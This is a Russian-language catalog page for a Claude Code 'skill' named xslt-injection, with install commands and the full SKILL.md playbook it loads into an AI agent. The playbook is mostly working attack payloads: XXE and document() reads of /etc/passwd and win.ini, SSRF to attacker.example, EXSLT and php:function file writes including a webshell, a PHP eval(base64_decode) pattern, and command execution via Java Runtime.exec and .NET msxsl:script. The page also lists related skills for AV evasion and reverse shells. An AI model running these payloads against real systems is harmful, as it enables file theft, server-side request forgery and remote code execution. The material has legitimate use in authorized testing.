К основному содержанию
скилл CX Codex

xslt-injection — скилл для Claude Code: что делает и как установить

Скилл помогает проверять XSLT-инъекции: определить процессор, проверить XXE и document() SSRF, а также расширения PHP, Java и .NET.

Установить в Claude Code · Через Skills CLI (Vercel) Все способы и платформы ↓
npx skills add yaklang/hack-skills --skill xslt-injection -a claude-code
Открыть на GitHub

Что делает xslt-injection

Скилл разбирает сценарии, где пользовательский XSLT компилируется или выполняется на сервере. Он предлагает сначала найти точки преобразования, проверить отражение безвредным маркером и определить семейство процессора через system-property. Дальше проверки разделяются по возможностям движка: внешние сущности, document(), EXSLT и расширения платформы.

В материалах есть отдельные направления для PHP, Java и .NET, включая конфигурационно-зависимые функции расширений. Для PHP нужен доступ XSLT к registerPHPFunctions()-подобному механизму, а EXSLT-запись зависит от включённого расширения и прав на путь. Проверки предназначены только для авторизованной лаборатории: некоторые примеры могут читать файлы, отправлять запросы или записывать данные.

Какие задачи решает

  • находить точки, где сервер выполняет пользовательский XSLT
  • определять семейство XSLT-процессора
  • проверять XXE через внешние сущности
  • проверять чтение XML через document()
  • оценивать доступность EXSLT и расширений PHP, Java или .NET

Примеры запросов агенту

  • Проверь endpoint преобразования отчёта на XSLT-инъекцию и начни с безвредного маркера.
  • Определи XSLT-процессор через system-property, затем проверь доступность document() и внешних сущностей.
  • Проведи авторизованную проверку XSLT-инъекции в лаборатории, учитывая ограничения PHP, Java и .NET.

Как установить xslt-injection

1Через Skills CLI (Vercel)

npx skills add yaklang/hack-skills --skill xslt-injection -a claude-code

2Вручную: положить файлы

~/.claude/skills/xslt-injection/SKILL.md

Папка скилла целиком; для одного проекта — .claude/skills/xslt-injection/

По шагам, с командами для каждой платформы: Как установить скилл в Claude Code: пять способов

Из того же набора92

linux-lateral-movement Плейбук по боковому перемещению в Linux: перехват SSH-агента, сбор ключей и учёток, туннели, D-Bus и переиспользование sudo-сессии. CX Codex +1 3 600установок windows-privilege-escalation Скилл помогает проверить пути локального повышения привилегий Windows после получения низкопривилегированной оболочки. Пригодится для авторизованного аудита конфигурации системы. CX Codex +1 3 600установок memory-forensics-volatility Плейбук по анализу дампов памяти в Volatility 2 и 3: скрытые процессы, инъекции кода, учётные данные, таймлайн инцидента. CX Codex +1 3 600установок type-juggling Скилл помогает находить и обходить слабые проверки равенства в PHP. Он пригодится при аудите старого кода, анализе токенов и решении CTF-задач. CX Codex +1 3 600установок windows-av-evasion Скилл-плейбук по обходу антивирусов и EDR на Windows: AMSI, ETW, загрузка .NET-сборок, исполнение шелл-кода, инъекции в процессы. CX Codex +1 3 600установок network-protocol-attacks Плейбук по атакам на сетевые протоколы: ARP-спуфинг, отравление LLMNR и NBT-NS, WPAD, DHCPv6, VLAN hopping. Пригодится на внутреннем пентесте. CX Codex +1 3 600установок defi-attack-patterns Скилл помогает разбирать DeFi-атаки: флэш-лоаны, манипуляции оракулами, MEV, ошибки округления и атаки на управление протоколом. CX Codex +1 3 600установок reverse-shell-techniques Плейбук по обратным шеллам: однострочники на разных языках, шифрованные каналы, веб-шеллы, апгрейд до PTY и генерация payload через msfvenom. CX Codex +1 3 400установок

Похожие

testing-for-xxe-injection-vulnerabilities mahipal Скилл ведёт агента по шагам проверки XXE-инъекций: чтение файлов сервера, SSRF и вынос данных при авторизованном пентесте. CX Codex +1 311установок exploiting-api-injection-vulnerabilities mahipal Скилл находит инъекции в параметрах, заголовках и телах запросов к API. Пригодится при оценке защищённости эндпоинтов и проверке правил валидации пользовательских значений. CX Codex +1 311установок fix-security-vulnerabilities-with-strix usestrix Скилл разбирает подтверждённые Strix-уязвимости, исправляет их причину и повторно запускает проверку. Подойдёт после CLI- или cloud-сканирования. CX Codex +1 15 700установок tool-abuse-detection Tencent Прогоняет агента через диалоговые пробы и ищет выполнение команд, чтение чужих файлов и SSRF. Пригодится, когда у агента есть доступ к файлам, коду или сети. CX Codex +1 ★ 7 083звёзд репо web-scraping jamditis Задаёт правила этичного сбора данных со страниц, обработку кодов 403 и каскадный парсинг с перебором библиотек. CX Codex +1 6 100установок security-bounty-hunter affaan-m Ищет удалённо достижимые уязвимости, которые подходят для bounty-отчёта. Нужен для проверки реального пути атаки, а не общего аудита. CX Codex +1 4 500установок

Вопросы о xslt-injection

Как установить xslt-injection в Claude Code?

Выполните npx skills add yaklang/hack-skills --skill xslt-injection -a claude-code, затем повторите эту же команду. После установки файл будет доступен по пути ~/.claude/skills/xslt-injection/SKILL.md.

Что делает xslt-injection?

Скилл помогает исследовать серверное выполнение пользовательского XSLT: определить процессор, проверить XXE и document() SSRF, а также изучить EXSLT и платформенные расширения.

Что нужно для проверки PHP-расширений?

Для сценариев с php:function требуется PHP XSLT с доступом, похожим на registerPHPFunctions(). Результат также зависит от разрешённых вызываемых функций и настроек приложения.

Исходный текст

SKILL.md · MIT
---
name: xslt-injection
description: >-
  XSLT injection testing: processor fingerprinting, XXE and document() SSRF, EXSLT write primitives, PHP/Java/.NET extension RCE surfaces. Use when user-controlled XSLT/stylesheet input or transform endpoints are in scope.
---

# SKILL: XSLT Injection — Testing Playbook

> **AI LOAD INSTRUCTION**: XSLT injection occurs when **attacker-influenced XSLT** is compiled/executed server-side. Map the **processor family** first (Java/.NET/PHP/libxslt). Then chain **document()**, **external entities**, **EXSLT**, or **embedded script/extension functions** per platform. **Authorized testing only**; many payloads are destructive. Routing note: if input is generic XML parsing and may not flow through XSLT, cross-load `xxe-xml-external-entity`; if you care about outbound `document(http:...)` requests, cross-load `ssrf-server-side-request-forgery`.

---

## 0. QUICK START

1. **Find sinks**: parameters named `xslt`, `stylesheet`, `transform`, `template`, SOAP stylesheets, report generators, XML→HTML converters.
2. **Probe reflection**: inject unique namespace or `xsl:value-of select="'marker'"` — if output changes, execution likely.
3. **Fingerprint** processor (§1).
4. **Escalate** by family: **document()** / **XXE** (§2–3), **EXSLT write** (§4), **PHP** (§5), **Java** (§6), **.NET** (§7).

**Quick probe** (harmless marker):

```xml
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/">
    <xsl:value-of select="'XSLT_PROBE_OK'"/>
  </xsl:template>
</xsl:stylesheet>
```

---

## 1. VENDOR DETECTION

Use standard **system-property** reads inside expressions:

```xml
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:output method="text"/>
  <xsl:template match="/">
    <xsl:text>vendor=</xsl:text><xsl:value-of select="system-property('xsl:vendor')"/>
    <xsl:text>&#10;version=</xsl:text><xsl:value-of select="system-property('xsl:version')"/>
    <xsl:text>&#10;vendor-url=</xsl:text><xsl:value-of select="system-property('xsl:vendor-url')"/>
  </xsl:template>
</xsl:stylesheet>
```

**Typical fingerprints** (examples, not exhaustive):

| Signal | Possible engine |
|--------|------------------|
| `Apache Software Foundation` / Xalan markers | Xalan (Java) |
| `Saxonica` / Saxon URI hints | Saxon |
| `libxslt` / GNOME stack | libxslt (C, often via PHP, nginx modules, etc.) |
| Microsoft URLs / MSXML strings | MSXML / .NET XSLT stack |

Use results to select §5–§7 paths.

---

## 2. EXTERNAL ENTITY (XXE VIA XSLT)

XSLT 1.0 allows **DTD-based entities** in the stylesheet or source when the parser permits DTDs:

```xml
<!DOCTYPE xsl:stylesheet [
  <!ENTITY ext_file SYSTEM "file:///etc/passwd">
]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:output method="text"/>
  <xsl:template match="/">
    <xsl:value-of select="'ENTITY_START'"/>
    <xsl:value-of select="&ext_file;"/>
    <xsl:value-of select="'ENTITY_END'"/>
  </xsl:template>
</xsl:stylesheet>
```

**Note**: Hardened parsers disable external DTDs — failure here does not disprove other XSLT vectors (see §3).

---

## 3. FILE READ VIA `document()`

`document()` loads another XML document into a node-set; local files often parse as XML (noisy) but **errors and partial reads** may still leak.

**Unix example**:

```xml
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:output method="text"/>
  <xsl:template match="/">
    <xsl:copy-of select="document('/etc/passwd')"/>
  </xsl:template>
</xsl:stylesheet>
```

**Windows example**:

```xml
<xsl:copy-of select="document('file:///c:/windows/win.ini')"/>
```

**SSRF / out-of-band**:

```xml
<xsl:copy-of select="document('http://attacker.example/ssrf')"/>
```

Chain with **error-based** or **timing** observations if inline data does not return to the client.

---

## 4. FILE WRITE VIA EXSLT (`exslt:document`)

When **EXSLT common** extension is enabled:

```xml
<xsl:stylesheet version="1.0"
  xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
  xmlns:exploit="http://exslt.org/common"
  extension-element-prefixes="exploit">
  <xsl:template match="/">
    <exploit:document href="/tmp/evil.txt" method="text">
      <xsl:text>PROOF_CONTENT</xsl:text>
    </exploit:document>
  </xsl:template>
</xsl:stylesheet>
```

**Impact**: arbitrary file write where path permissions allow — often **RCE** via webroot, cron paths, or inclusion points.

---

## 5. RCE VIA PHP (`php:function`)

Requires PHP XSLT with **`registerPHPFunctions()`**-style exposure (application misconfiguration). Namespace:

```xml
<xsl:stylesheet version="1.0"
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    xmlns:php="http://php.net/xsl">
  <xsl:output method="text"/>
  <xsl:template match="/">
    <xsl:value-of select="php:function('readfile','index.php')"/>
  </xsl:template>
</xsl:stylesheet>
```

**Directory listing**:

```xml
<xsl:value-of select="php:function('scandir','.')"/>
```

**Dangerous patterns** (historical abuses — verify only in lab):

- `php:function('assert', string($payload))` — environment-dependent, often deprecated/removed; chained with `include`/`require` in old apps.
- `php:function('file_put_contents','/var/www/shell.php','<?php ...')` — **webshell write** when callable is whitelisted recklessly.
- `preg_replace` with **`/e`** modifier (legacy PHP) — the replacement string is **evaluated as PHP**; metasploit-style chains often wrapped **base64_decode** of a blob to smuggle a **meterpreter** (or other) staged payload. Removed in PHP 7+; only relevant for ancient runtimes.

**Legacy PHP equivalent** (illustrates the `/e` + base64 pattern — lab only):

```php
preg_replace('/.*/e', 'eval(base64_decode("BASE64_PHP_HERE"));', '', 1);
```

Surface from XSLT only if `php:function` exposes `preg_replace` to user stylesheets (rare + critical misconfiguration).

**Tester note**: modern PHP hardening often **blocks** these; absence of RCE does not remove **document()** / **XXE**.

---

## 6. RCE VIA JAVA (SAXON / XALAN EXTENSIONS)

Java engines may expose **extension functions** mapping to static methods. Examples appear in historical advisories; exact syntax depends on **version and extension binding**.

**Illustrative pattern** (conceptual — adjust to permitted extension namespace and API):

```xml
<xsl:stylesheet version="1.0"
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime">
  <xsl:template match="/">
    <xsl:variable name="rtobject" select="rt:getRuntime()"/>
    <xsl:value-of select="rt:exec($rtobject,'/bin/sh -c id')"/>
  </xsl:template>
</xsl:stylesheet>
```

**Saxon-style static Java integration** (highly configuration-dependent):

```text
Runtime:exec(Runtime:getRuntime(), 'cmd.exe /C ping 192.0.2.1')
```

Replace `192.0.2.1` with your lab listener / documentation IP (RFC 5737 TEST-NET).

**Operational guidance**: if extensions are disabled (common secure default), pivot to **document()**, SSRF, or **deserialization** elsewhere — not every XSLT endpoint runs with extensions on.

---

## 7. RCE VIA .NET (`msxsl:script`)

When Microsoft XSLT **script blocks** are allowed:

```xml
<xsl:stylesheet version="1.0"
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    xmlns:msxsl="urn:schemas-microsoft-com:xslt"
    extension-element-prefixes="msxsl">
  <msxsl:script language="C#" implements-prefix="user">
    <![CDATA[
    public string xexec() {
      System.Diagnostics.Process.Start("cmd.exe", "/c whoami");
      return "ok";
    }
    ]]>
  </msxsl:script>
  <xsl:template match="/">
    <xsl:value-of select="user:xexec()"/>
  </xsl:template>
</xsl:stylesheet>
```

**Default secure configs** often disable scripts — treat this as **when enabled** behavior.

---

## 8. DECISION TREE

```text
                    User influences XSLT or XML transform?
                                    |
                                   NO --> stop (out of scope)
                                    |
                                   YES
                                    |
                    +---------------+---------------+
                    |                               |
             output reflects                       no reflection
             injected logic?                    try blind channels
                    |                               |
                    v                               v
            system-property()                 errors, OOB, timing
            fingerprint vendor                      |
                    |                               |
        +-----------+-----------+                   |
        |           |           |                   |
      libxslt     Java        .NET              document()
        |           |           |                   |
    document()   Saxon/Xalan  msxsl:script?      SSRF/file
    EXSLT write  extensions?      |                   |
        |           |           C# Process         EXSLT?
        v           v           v                   v
    file R/W     rt/exec      cmd.exe /c         map evidence
```

---

## Payloads All The Things (PAT) Note

The **PayloadsAllTheThings** project documents many injection classes; for **XSLT**, maintainer notes indicate **no dedicated maintained tool** section comparable to SQLi/XSS toolchains — exploitation is **processor- and configuration-specific**, driven by proxy/manual payloads and custom scripts. Plan time for **local lab reproduction** with the same engine/version as the target when possible.

---

## Tooling (practical)

| Category | Examples |
|----------|----------|
| Proxy / manual | Burp Suite, OWASP ZAP — replay stylesheet payloads, observe responses and errors |
| XML/XSLT lab | Match **exact** processor (PHP libxslt, Java Saxon version, .NET framework) in a VM |
| Out-of-band | Collaborator / private callback server for `document('http://…')` |

No single universal scanner replaces **version-specific** behavior validation.

---

## Related

- **xxe-xml-external-entity** — DTD/entity hardening, generic XML parsers (`../xxe-xml-external-entity/SKILL.md`).
- **ssrf-server-side-request-forgery** — when `document(http:…)` or entity URLs cause server fetches (`../ssrf-server-side-request-forgery/SKILL.md`).

© yaklang · MIT · yaklang/hack-skills

Смотрите также

Спонсоры проекта

Компании, которые помогают держать аналитику открытой